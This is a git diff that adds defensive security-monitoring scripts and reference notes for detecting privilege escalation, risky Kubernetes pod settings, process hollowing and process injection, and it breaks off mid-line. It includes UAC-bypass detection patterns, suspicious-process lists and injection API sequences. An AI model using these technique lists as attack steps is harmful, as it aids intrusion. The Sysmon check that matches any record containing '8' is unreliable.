Configuration + +| Variable | Description | +|----------|-------------| +| `PRIV_ESC_EVENT_IDS` | Map of Security event IDs to descriptions | +| `SUSPICIOUS_PROCESSES` | List of processes to flag when running elevated | +| `UAC_BYPASS_INDICATORS` | Regex patterns for known UAC bypass techniques | + +## References + +- [MITRE ATT&CK T1548 - Abuse Elevation Control Mechanism](https://attack.mitre.org/techniques/T1548/) +- [MITRE ATT&CK T1134 - Access Token Manipulation](https://attack.mitre.org/techniques/T1134/) +- [Windows Security Auditing](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/) +- [Sysmon Documentation](https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon) diff --git a/skills/detecting-privilege-escalation-attempts/scripts/agent.py b/skills/detecting-privilege-escalation-attempts/scripts/agent.py new file mode 100644 index 00000000..4827abf9 --- /dev/null +++ b/skills/detecting-privilege-escalation-attempts/scripts/agent.py @@ -0,0 +1,178 @@ +#!/usr/bin/env python3 +""" +Privilege Escalation Detection Agent +Analyzes Windows Security and Sysmon event logs for privilege escalation +indicators including token manipulation, UAC bypass, and sudo abuse. +Authorized security monitoring use only. +""" + +import argparse +import json +import re +import sys +from datetime import datetime, timezone + +try: + import win32evtlog + import win32evtlogutil + HAS_WIN32 = True +except ImportError: + HAS_WIN32 = False + + +PRIV_ESC_EVENT_IDS = { + 4672: "Special privileges assigned to new logon", + 4673: "A privileged service was called", + 4674: "An operation was attempted on a privileged object", + 4688: "A new process has been created (check for elevated tokens)", + 4703: "A user right was adjusted", + 1: "Sysmon Process Create (check IntegrityLevel)", +} + +SUSPICIOUS_PROCESSES = [ + "powershell.exe", "cmd.exe", "wscript.exe", "cscript.exe", + "mshta.exe", "rundll32.exe", "regsvr32.exe", "certutil.exe", +] + +UAC_BYPASS_INDICATORS = [ + r"fodhelper\.exe", r"eventvwr\.exe", r"sdclt\.exe", + r"computerdefaults\.exe", r"slui\.exe", + r"HKCU\\Software\\Classes\\ms-settings", + r"HKCU\\Software\\Classes\\mscfile", +] + + +def parse_windows_security_log(server=None, max_events=5000): + """Parse Windows Security log for privilege escalation events.""" + if not HAS_WIN32: + return [] + findings = [] + handle = win32evtlog.OpenEventLog(server, "Security") + flags = win32evtlog.EVENTLOG_BACKWARDS_READ | win32evtlog.EVENTLOG_SEQUENTIAL_READ + total = 0 + while total < max_events: + events = win32evtlog.ReadEventLog(handle, flags, 0) + if not events: + break + for event in events: + if event.EventID & 0xFFFF in PRIV_ESC_EVENT_IDS: + findings.append({ + "event_id": event.EventID & 0xFFFF, + "description": PRIV_ESC_EVENT_IDS.get(event.EventID & 0xFFFF, ""), + "time": event.TimeGenerated.isoformat(), + "source": event.SourceName, + "user": event.StringInserts[1] if event.StringInserts and len(event.StringInserts) > 1 else "", + "data": (event.StringInserts or [])[:5], + }) + total += 1 + win32evtlog.CloseEventLog(handle) + return findings + + +def analyze_sysmon_log(log_file): + """Analyze exported Sysmon log (JSON/EVTX) for escalation patterns.""" + findings = [] + with open(log_file, "r") as f: + for line in f: + try: + entry = json.loads(line.strip()) + except json.JSONDecodeError: + continue + event_id = entry.get("EventID", entry.get("event_id", 0)) + if event_id == 1: + image = entry.get("Image", entry.get("image", "")).lower() + integrity = entry.get("IntegrityLevel", entry.get("integrity_level", "")) + cmdline = entry.get("CommandLine", entry.get("command_line", "")) + proc_name = image.split("\\")[-1] if image else "" + if proc_name in SUSPICIOUS_PROCESSES and integrity in ("High", "System"): + findings.append({ + "type": "elevated_suspicious_process", + "process": proc_name, + "integrity": integrity, + "command_line": cmdline[:200], + "parent": entry.get("ParentImage", ""), + "timestamp": entry.get("UtcTime", entry.get("timestamp", "")), + "severity": "high", + }) + for pattern in UAC_BYPASS_INDICATORS: + if re.search(pattern, cmdline, re.IGNORECASE): + findings.append({ + "type": "uac_bypass_indicator", + "pattern": pattern, + "process": proc_name, + "command_line": cmdline[:200], + "timestamp": entry.get("UtcTime", ""), + "severity": "critical", + }) + return findings + + +def analyze_linux_auth_log(log_file="/var/log/auth.log"): + """Analyze Linux auth log for sudo/su escalation attempts.""" + findings = [] + sudo_pattern = re.compile(r"(\w+\s+\d+\s+[\d:]+)\s+\S+\s+sudo:\s+(\S+)\s+:.*COMMAND=(.*)") + su_pattern = re.compile(r"(\w+\s+\d+\s+[\d:]+)\s+\S+\s+su\[\d+\]:\s+(.*)") + with open(log_file, "r") as f: + for line in f: + m = sudo_pattern.search(line) + if m: + findings.append({ + "type": "sudo_execution", + "timestamp": m.group(1), + "user": m.group(2), + "command": m.group(3)[:200], + "severity": "medium", + }) + m = su_pattern.search(line) + if m: + if "FAILED" in m.group(2).upper(): + findings.append({ + "type": "failed_su_attempt", + "timestamp": m.group(1), + "details": m.group(2)[:200], + "severity": "high", + }) + return findings + + +def generate_report(findings): + """Generate privilege escalation detection report.""" + report = { + "report_title": "Privilege Escalation Detection Report", + "generated_at": datetime.now(timezone.utc).isoformat(), + "total_findings": len(findings), + "critical": len([f for f in findings if f.get("severity") == "critical"]), + "high": len([f for f in findings if f.get("severity") == "high"]), + "medium": len([f for f in findings if f.get("severity") == "medium"]), + "findings": findings, + } + return report + + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description="Detect privilege escalation attempts") + parser.add_argument("--sysmon-log", help="Path to exported Sysmon JSON log") + parser.add_argument("--auth-log", default="/var/log/auth.log", help="Linux auth log path") + parser.add_argument("--windows", action="store_true", help="Analyze Windows Security event log") + parser.add_argument("--output", default="privesc_detection.json", help="Output file") + args = parser.parse_args() + + findings = [] + if args.windows and HAS_WIN32: + print("[*] Analyzing Windows Security event log...") + findings.extend(parse_windows_security_log()) + if args.sysmon_log: + print(f"[*] Analyzing Sysmon log: {args.sysmon_log}") + findings.extend(analyze_sysmon_log(args.sysmon_log)) + if args.auth_log: + try: + findings.extend(analyze_linux_auth_log(args.auth_log)) + except FileNotFoundError: + print(f"[!] Auth log not found: {args.auth_log}") + + report = generate_report(findings) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report: {report['total_findings']} findings " + f"(critical={report['critical']}, high={report['high']})") + print(json.dumps(report, indent=2)) diff --git a/skills/detecting-privilege-escalation-in-kubernetes-pods/LICENSE b/skills/detecting-privilege-escalation-in-kubernetes-pods/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-privilege-escalation-in-kubernetes-pods/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-privilege-escalation-in-kubernetes-pods/references/api-reference.md b/skills/detecting-privilege-escalation-in-kubernetes-pods/references/api-reference.md new file mode 100644 index 00000000..73350204 --- /dev/null +++ b/skills/detecting-privilege-escalation-in-kubernetes-pods/references/api-reference.md @@ -0,0 +1,41 @@ +# API Reference: Detecting Privilege Escalation in Kubernetes Pods + +## Kubernetes Python Client API + +| Method | Description | +|--------|-------------| +| `CoreV1Api().list_pod_for_all_namespaces()` | List all pods across namespaces | +| `CoreV1Api().list_namespaced_pod(namespace)` | List pods in a specific namespace | +| `RbacAuthorizationV1Api().list_cluster_role_binding()` | List all ClusterRoleBindings | +| `RbacAuthorizationV1Api().list_namespaced_role_binding(ns)` | List RoleBindings in namespace | + +## Pod SecurityContext Fields + +| Field | Risk | +|-------|------| +| `privileged: true` | Full host access, container escape | +| `allowPrivilegeEscalation: true` | Enables setuid/setgid binaries | +| `runAsUser: 0` | Container runs as root | +| `hostPID: true` | Access to host process namespace | +| `hostNetwork: true` | Access to host network stack | +| `capabilities.add: [SYS_ADMIN]` | Near-root capabilities | + +## Key Libraries + +- **kubernetes** (`pip install kubernetes`): Official Python client for Kubernetes API +- **config.load_kube_config()**: Load kubeconfig from file for external access +- **config.load_incluster_config()**: Load service account config when running inside a pod + +## Configuration + +| Variable | Description | +|----------|-------------| +| `DANGEROUS_CAPABILITIES` | Linux capabilities that enable privilege escalation | +| `kubeconfig` | Path to Kubernetes configuration file | + +## References + +- [Kubernetes Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/) +- [MITRE ATT&CK T1611 - Escape to Host](https://attack.mitre.org/techniques/T1611/) +- [Kubernetes RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/) +- [kubernetes-client/python](https://github.com/kubernetes-client/python) diff --git a/skills/detecting-privilege-escalation-in-kubernetes-pods/scripts/agent.py b/skills/detecting-privilege-escalation-in-kubernetes-pods/scripts/agent.py new file mode 100644 index 00000000..bbeb4335 --- /dev/null +++ b/skills/detecting-privilege-escalation-in-kubernetes-pods/scripts/agent.py @@ -0,0 +1,173 @@ +#!/usr/bin/env python3 +""" +Kubernetes Pod Privilege Escalation Detection Agent +Audits Kubernetes pods for privilege escalation risks including privileged +containers, host namespace access, and dangerous capabilities. +Authorized security monitoring use only. +""" + +import argparse +import json +import sys +from datetime import datetime, timezone + +from kubernetes import client, config + + +DANGEROUS_CAPABILITIES = [ + "SYS_ADMIN", "SYS_PTRACE", "NET_ADMIN", "NET_RAW", + "DAC_OVERRIDE", "SETUID", "SETGID", "SYS_RAWIO", +] + + +def load_k8s_config(kubeconfig=None, in_cluster=False): + """Load Kubernetes configuration.""" + if in_cluster: + config.load_incluster_config() + else: + config.load_kube_config(config_file=kubeconfig) + + +def audit_pod_security(namespace=None): + """Audit pods for privilege escalation vectors.""" + v1 = client.CoreV1Api() + if namespace: + pods = v1.list_namespaced_pod(namespace) + else: + pods = v1.list_pod_for_all_namespaces() + + findings = [] + for pod in pods.items: + pod_name = pod.metadata.name + pod_ns = pod.metadata.namespace + for container in (pod.spec.containers or []): + sc = container.security_context + if not sc: + findings.append({ + "pod": pod_name, "namespace": pod_ns, + "container": container.name, + "issue": "no_security_context", + "severity": "medium", + "detail": "Container has no security context defined", + }) + continue + if sc.privileged: + findings.append({ + "pod": pod_name, "namespace": pod_ns, + "container": container.name, + "issue": "privileged_container", + "severity": "critical", + "detail": "Container runs in privileged mode", + }) + if sc.allow_privilege_escalation is not False: + findings.append({ + "pod": pod_name, "namespace": pod_ns, + "container": container.name, + "issue": "allow_privilege_escalation", + "severity": "high", + "detail": "allowPrivilegeEscalation is not explicitly set to false", + }) + if sc.run_as_user == 0 or (sc.run_as_non_root is not True and not sc.run_as_user): + findings.append({ + "pod": pod_name, "namespace": pod_ns, + "container": container.name, + "issue": "runs_as_root", + "severity": "high", + "detail": "Container may run as root", + }) + if sc.capabilities and sc.capabilities.add: + dangerous = [c for c in sc.capabilities.add if c in DANGEROUS_CAPABILITIES] + if dangerous: + findings.append({ + "pod": pod_name, "namespace": pod_ns, + "container": container.name, + "issue": "dangerous_capabilities", + "severity": "high", + "detail": f"Dangerous capabilities: {dangerous}", + }) + spec = pod.spec + if spec.host_pid: + findings.append({ + "pod": pod_name, "namespace": pod_ns, + "issue": "host_pid_namespace", "severity": "critical", + "detail": "Pod shares host PID namespace", + }) + if spec.host_network: + findings.append({ + "pod": pod_name, "namespace": pod_ns, + "issue": "host_network", "severity": "high", + "detail": "Pod shares host network namespace", + }) + if spec.host_ipc: + findings.append({ + "pod": pod_name, "namespace": pod_ns, + "issue": "host_ipc", "severity": "high", + "detail": "Pod shares host IPC namespace", + }) + for vol in (spec.volumes or []): + if vol.host_path: + findings.append({ + "pod": pod_name, "namespace": pod_ns, + "issue": "host_path_volume", + "severity": "high", + "detail": f"hostPath volume: {vol.host_path.path}", + }) + return findings + + +def audit_rbac_escalation(namespace=None): + """Check RBAC for privilege escalation paths.""" + rbac = client.RbacAuthorizationV1Api() + findings = [] + if namespace: + bindings = rbac.list_namespaced_role_binding(namespace) + else: + bindings = rbac.list_cluster_role_binding() + for binding in bindings.items: + role_ref = binding.role_ref + if role_ref.name in ("cluster-admin", "admin", "edit"): + for subject in (binding.subjects or []): + if subject.kind == "ServiceAccount": + findings.append({ + "binding": binding.metadata.name, + "role": role_ref.name, + "subject": f"{subject.namespace}/{subject.name}", + "issue": "overprivileged_service_account", + "severity": "high", + "detail": f"ServiceAccount bound to {role_ref.name}", + }) + return findings + + +def generate_report(pod_findings, rbac_findings): + """Generate Kubernetes privilege escalation report.""" + all_findings = pod_findings + rbac_findings + return { + "report_title": "Kubernetes Privilege Escalation Detection", + "generated_at": datetime.now(timezone.utc).isoformat(), + "total_findings": len(all_findings), + "critical": len([f for f in all_findings if f.get("severity") == "critical"]), + "high": len([f for f in all_findings if f.get("severity") == "high"]), + "pod_findings": pod_findings, + "rbac_findings": rbac_findings, + } + + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description="Detect K8s pod privilege escalation") + parser.add_argument("--namespace", "-n", help="Kubernetes namespace to audit") + parser.add_argument("--kubeconfig", help="Path to kubeconfig file") + parser.add_argument("--in-cluster", action="store_true", help="Use in-cluster config") + parser.add_argument("--output", default="k8s_privesc_audit.json", help="Output file") + args = parser.parse_args() + + load_k8s_config(args.kubeconfig, args.in_cluster) + print("[*] Auditing pod security contexts...") + pod_findings = audit_pod_security(args.namespace) + print("[*] Auditing RBAC bindings...") + rbac_findings = audit_rbac_escalation(args.namespace) + + report = generate_report(pod_findings, rbac_findings) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) diff --git a/skills/detecting-process-hollowing-technique/LICENSE b/skills/detecting-process-hollowing-technique/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-process-hollowing-technique/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-process-hollowing-technique/references/api-reference.md b/skills/detecting-process-hollowing-technique/references/api-reference.md new file mode 100644 index 00000000..d19f3af8 --- /dev/null +++ b/skills/detecting-process-hollowing-technique/references/api-reference.md @@ -0,0 +1,103 @@ +# API Reference: Process Hollowing Detection + +## MITRE ATT&CK Mapping +- **Technique**: T1055.012 — Process Hollowing +- **Tactic**: Defense Evasion, Privilege Escalation + +## Windows API Functions Used in Hollowing + +### CreateProcessA/W (kernel32.dll) +```c +BOOL CreateProcessW( + LPCWSTR lpApplicationName, + LPWSTR lpCommandLine, + LPSECURITY_ATTRIBUTES lpProcessAttributes, + LPSECURITY_ATTRIBUTES lpThreadAttributes, + BOOL bInheritHandles, + DWORD dwCreationFlags, // CREATE_SUSPENDED = 0x4 + LPVOID lpEnvironment, + LPCWSTR lpCurrentDirectory, + LPSTARTUPINFOW lpStartupInfo, + LPPROCESS_INFORMATION lpProcessInformation +); +``` + +### NtUnmapViewOfSection (ntdll.dll) +```c +NTSTATUS NtUnmapViewOfSection( + HANDLE ProcessHandle, + PVOID BaseAddress +); +``` + +### VirtualAllocEx (kernel32.dll) +```c +LPVOID VirtualAllocEx( + HANDLE hProcess, + LPVOID lpAddress, + SIZE_T dwSize, + DWORD flAllocationType, + DWORD flProtect // PAGE_EXECUTE_READWRITE = 0x40 +); +``` + +### WriteProcessMemory (kernel32.dll) +```c +BOOL WriteProcessMemory( + HANDLE hProcess, + LPVOID lpBaseAddress, + LPCVOID lpBuffer, + SIZE_T nSize, + SIZE_T *lpNumberOfBytesWritten +); +``` + +### ResumeThread (kernel32.dll) +```c +DWORD ResumeThread(HANDLE hThread); +``` + +## Detection via Linux /proc Filesystem + +### /proc/[pid]/exe +Symlink to the actual executable. If deleted or replaced, shows `(deleted)`. + +### /proc/[pid]/maps +``` +address perms offset dev inode pathname +00400000-00452000 r-xp 00000000 08:02 173521 /usr/bin/target +``` + +### /proc/[pid]/status +``` +Name: svchost +Pid: 1234 +PPid: 567 +VmExe: 512 kB +``` + +## Sysmon Event IDs for Detection + +| Event ID | Description | +|----------|-------------| +| 1 | Process Create (check CREATE_SUSPENDED flag) | +| 8 | CreateRemoteThread | +| 10 | ProcessAccess (PROCESS_VM_WRITE + PROCESS_VM_OPERATION) | +| 25 | ProcessTampering (image replaced) | + +## PowerShell Detection Queries + +### Get process with module mismatch +```powershell +Get-Process | Where-Object { + $_.Path -and $_.MainModule.FileName -and + ($_.Path -ne $_.MainModule.FileName) +} +``` + +### Check for suspended child processes +```powershell +Get-CimInstance Win32_Process | Where-Object { + $_.ExecutionState -eq 'Suspended' +} | Select-Object ProcessId, Name, ParentProcessId, CommandLine +``` diff --git a/skills/detecting-process-hollowing-technique/scripts/agent.py b/skills/detecting-process-hollowing-technique/scripts/agent.py new file mode 100644 index 00000000..d02fa5b4 --- /dev/null +++ b/skills/detecting-process-hollowing-technique/scripts/agent.py @@ -0,0 +1,161 @@ +#!/usr/bin/env python3 +"""Agent for detecting process hollowing (T1055.012) in running processes.""" + +import argparse +import ctypes +import json +import os +import struct +import subprocess +import sys +from datetime import datetime, timezone + + +def get_running_processes(): + """Enumerate running processes via tasklist or ps.""" + procs = [] + if sys.platform == "win32": + out = subprocess.check_output( + ["tasklist", "/FO", "CSV", "/NH", "/V"], text=True, errors="replace" + ) + for line in out.strip().splitlines(): + parts = line.strip('"').split('","') + if len(parts) >= 2: + procs.append({"name": parts[0], "pid": int(parts[1])}) + else: + out = subprocess.check_output( + ["ps", "-eo", "pid,ppid,comm,args", "--no-headers"], text=True + ) + for line in out.strip().splitlines(): + fields = line.split(None, 3) + if len(fields) >= 3: + procs.append({ + "pid": int(fields[0]), + "ppid": int(fields[1]), + "name": fields[2], + "cmdline": fields[3] if len(fields) > 3 else "", + }) + return procs + + +def check_memory_discrepancy_linux(pid): + """Check for signs of hollowing: discrepancy between mapped exe and memory.""" + indicators = [] + exe_link = f"/proc/{pid}/exe" + maps_file = f"/proc/{pid}/maps" + try: + real_exe = os.readlink(exe_link) + if " (deleted)" in real_exe: + indicators.append(f"exe link points to deleted binary: {real_exe}") + except (OSError, PermissionError): + return indicators + + try: + with open(maps_file, "r") as f: + maps = f.read() + exe_base = os.path.basename(real_exe) + first_exec_region = None + for line in maps.splitlines(): + if "r-xp" in line: + first_exec_region = line + break + if first_exec_region and exe_base not in first_exec_region: + indicators.append( + f"Executable memory region does not reference expected binary: {first_exec_region}" + ) + except (OSError, PermissionError): + pass + return indicators + + +def check_hollowing_windows(pid): + """Use Windows API to detect hollowing via PEB image base vs section.""" + indicators = [] + try: + result = subprocess.check_output( + ["powershell", "-NoProfile", "-Command", + f"Get-Process -Id {pid} | Select-Object Id,ProcessName,Path," + "MainModule,StartTime | ConvertTo-Json"], + text=True, errors="replace", timeout=10 + ) + data = json.loads(result) + if data.get("Path") and data.get("MainModule"): + mod_path = data["MainModule"].get("FileName", "") + if mod_path and data["Path"].lower() != mod_path.lower(): + indicators.append( + f"Process path mismatch: Path={data['Path']} MainModule={mod_path}" + ) + except (subprocess.SubprocessError, json.JSONDecodeError, KeyError): + pass + return indicators + + +def analyze_process(pid): + """Analyze a single process for hollowing indicators.""" + if sys.platform == "win32": + return check_hollowing_windows(pid) + return check_memory_discrepancy_linux(pid) + + +def scan_all(target_pids=None): + """Scan processes for process hollowing indicators.""" + results = [] + procs = get_running_processes() + targets = procs if not target_pids else [p for p in procs if p["pid"] in target_pids] + + for proc in targets: + pid = proc["pid"] + indicators = analyze_process(pid) + entry = { + "pid": pid, + "name": proc.get("name", "unknown"), + "hollowing_indicators": indicators, + "suspicious": len(indicators) > 0, + } + results.append(entry) + return results + + +def main(): + parser = argparse.ArgumentParser( + description="Detect process hollowing (T1055.012) in running processes" + ) + parser.add_argument("--pid", type=int, nargs="*", help="Specific PIDs to scan") + parser.add_argument("--output", "-o", help="Output JSON file path") + parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output") + args = parser.parse_args() + + print("[*] Process Hollowing Detection Agent") + print(f"[*] Platform: {sys.platform}") + print(f"[*] Scan started: {datetime.now(timezone.utc).isoformat()}") + + results = scan_all(target_pids=args.pid) + suspicious = [r for r in results if r["suspicious"]] + + report = { + "scan_time": datetime.now(timezone.utc).isoformat(), + "platform": sys.platform, + "total_scanned": len(results), + "suspicious_count": len(suspicious), + "suspicious_processes": suspicious, + } + + if args.verbose: + for r in results: + status = "SUSPICIOUS" if r["suspicious"] else "OK" + print(f" [{status}] PID {r['pid']} ({r['name']})") + for ind in r.get("hollowing_indicators", []): + print(f" -> {ind}") + + print(f"\n[*] Scanned {len(results)} processes, {len(suspicious)} suspicious") + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-process-injection-techniques/LICENSE b/skills/detecting-process-injection-techniques/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-process-injection-techniques/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-process-injection-techniques/references/api-reference.md b/skills/detecting-process-injection-techniques/references/api-reference.md new file mode 100644 index 00000000..764c5b08 --- /dev/null +++ b/skills/detecting-process-injection-techniques/references/api-reference.md @@ -0,0 +1,84 @@ +# Process Injection Detection API Reference + +## Volatility 3 Plugins + +```bash +# Detect injected code (RWX memory, PE headers in non-image VADs) +vol3 -f memory.dmp windows.malfind +vol3 -f memory.dmp windows.malfind --pid 1234 + +# List processes +vol3 -f memory.dmp windows.pslist + +# Scan for hidden processes +vol3 -f memory.dmp windows.psscan + +# List DLLs for a process +vol3 -f memory.dmp windows.dlllist --pid 1234 + +# Dump injected code +vol3 -f memory.dmp windows.malfind --dump --pid 1234 + +# List threads +vol3 -f memory.dmp windows.threads --pid 1234 + +# VAD tree (memory regions) +vol3 -f memory.dmp windows.vadinfo --pid 1234 +``` + +## Injection Techniques and API Sequences + +| Technique | API Sequence | +|-----------|-------------| +| Classic DLL | OpenProcess -> VirtualAllocEx -> WriteProcessMemory -> CreateRemoteThread | +| Process Hollowing | CreateProcess(SUSPENDED) -> NtUnmapViewOfSection -> WriteProcessMemory -> ResumeThread | +| APC Injection | OpenThread -> VirtualAllocEx -> WriteProcessMemory -> QueueUserAPC | +| Reflective DLL | VirtualAlloc -> memcpy -> CreateThread (in-process) | +| Thread Hijacking | OpenThread -> SuspendThread -> SetThreadContext -> ResumeThread | + +## Sysmon Event IDs for Injection + +| Event ID | Name | Relevance | +|----------|------|-----------| +| 1 | ProcessCreate | Hollowed process creation (SUSPENDED) | +| 7 | ImageLoaded | Reflective DLL loads (unsigned) | +| 8 | CreateRemoteThread | Classic injection indicator | +| 10 | ProcessAccess | PROCESS_VM_WRITE + PROCESS_CREATE_THREAD | +| 25 | ProcessTampering | Image file replaced (hollowing) | + +## Sysmon Config for Injection Detection + +```xml + + + + 0x1F0FFF + 0x1FFFFF + + + C:\Windows\System32\csrss.exe + + + +``` + +## python-evtx Usage + +```python +import Evtx.Evtx as evtx + +with evtx.Evtx("Sysmon.evtx") as log: + for record in log.records(): + xml = record.xml() + if "8" in xml: + print("CreateRemoteThread:", record.timestamp()) +``` + +## Suspicious Parent-Child Relationships + +| Parent | Child | Indicator | +|--------|-------|-----------| +| winword.exe | cmd.exe, powershell.exe | Macro execution | +| svchost.exe | cmd.exe, powershell.exe | Service-based injection | +| explorer.exe | mshta.exe | COM hijack / LNK abuse | +| outlook.exe | powershell.exe | Email macro execution | diff --git a/skills/detecting-process-injection-techniques/scripts/agent.py b/skills/detecting-process-injection-techniques/scripts/agent.py new file mode 100644 index 00000000..931f4bd1 --- /dev/null +++ b/skills/detecting-process-injection-techniques/scripts/agent.py @@ -0,0 +1,234 @@ +#!/usr/bin/env python3 +"""Process injection detection agent using Volatility and Sysmon analysis.""" + +import json +import os +import re +import subprocess +import sys +from datetime import datetime + +try: + import Evtx.Evtx as evtx + HAS_EVTX = True +except ImportError: + HAS_EVTX = False + + +INJECTION_TECHNIQUES = { + "classic_dll_injection": { + "apis": ["OpenProcess", "VirtualAllocEx", "WriteProcessMemory", "CreateRemoteThread"], + "sysmon_events": [8, 10], + "description": "Classic DLL injection via remote thread creation", + }, + "process_hollowing": { + "apis": ["CreateProcess(SUSPENDED)", "NtUnmapViewOfSection", "VirtualAllocEx", + "WriteProcessMemory", "SetThreadContext", "ResumeThread"], + "sysmon_events": [1, 10], + "description": "Process hollowing - replace legitimate process image", + }, + "apc_injection": { + "apis": ["OpenThread", "VirtualAllocEx", "WriteProcessMemory", "QueueUserAPC"], + "sysmon_events": [8, 10], + "description": "APC queue injection via QueueUserAPC", + }, + "reflective_dll": { + "apis": ["VirtualAlloc", "memcpy", "CreateThread"], + "sysmon_events": [7], + "description": "Reflective DLL loading without LoadLibrary", + }, + "process_doppelganging": { + "apis": ["CreateTransaction", "CreateFileTransacted", "NtCreateSection", + "NtCreateProcessEx", "RollbackTransaction"], + "sysmon_events": [1], + "description": "Process doppelganging via NTFS transactions", + }, +} + + +def run_volatility_malfind(memory_dump, pid=None): + """Run Volatility malfind plugin to detect injected code.""" + if not os.path.exists(memory_dump): + return {"error": f"Memory dump not found: {memory_dump}"} + + cmd = ["vol3", "-f", memory_dump, "windows.malfind"] + if pid: + cmd.extend(["--pid", str(pid)]) + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + findings = [] + current = {} + for line in result.stdout.splitlines(): + if line.strip() and not line.startswith("Volatility"): + parts = line.split() + if len(parts) >= 6 and parts[0].isdigit(): + if current: + findings.append(current) + current = { + "pid": parts[0], + "process": parts[1] if len(parts) > 1 else "", + "address": parts[2] if len(parts) > 2 else "", + "protection": parts[4] if len(parts) > 4 else "", + } + if current: + findings.append(current) + return {"findings": findings, "count": len(findings)} + except FileNotFoundError: + return {"error": "Volatility 3 (vol3) not installed"} + except subprocess.TimeoutExpired: + return {"error": "Analysis timed out after 300s"} + + +def run_volatility_hollowfind(memory_dump): + """Detect process hollowing via VAD/PEB image path mismatch.""" + if not os.path.exists(memory_dump): + return {"error": f"Memory dump not found: {memory_dump}"} + + cmd = ["vol3", "-f", memory_dump, "windows.pslist"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + processes = [] + for line in result.stdout.splitlines(): + parts = line.split() + if len(parts) >= 4 and parts[0].isdigit(): + processes.append({ + "pid": parts[0], + "ppid": parts[1] if len(parts) > 1 else "", + "name": parts[2] if len(parts) > 2 else "", + "threads": parts[3] if len(parts) > 3 else "", + }) + return {"processes": processes, "count": len(processes)} + except FileNotFoundError: + return {"error": "Volatility 3 not installed"} + except subprocess.TimeoutExpired: + return {"error": "Analysis timed out"} + + +def scan_sysmon_injection_events(evtx_path): + """Scan Sysmon logs for injection-related events.""" + if not HAS_EVTX: + return {"error": "python-evtx not installed (pip install python-evtx)"} + if not os.path.exists(evtx_path): + return {"error": f"EVTX file not found: {evtx_path}"} + + injection_events = [] + with evtx.Evtx(evtx_path) as log: + for record in log.records(): + try: + xml = record.xml() + if "8" in xml: + injection_events.append({ + "event_id": 8, + "type": "CreateRemoteThread", + "timestamp": record.timestamp().isoformat(), + "snippet": xml[:500], + }) + elif "10" in xml: + if "PROCESS_VM_WRITE" in xml or 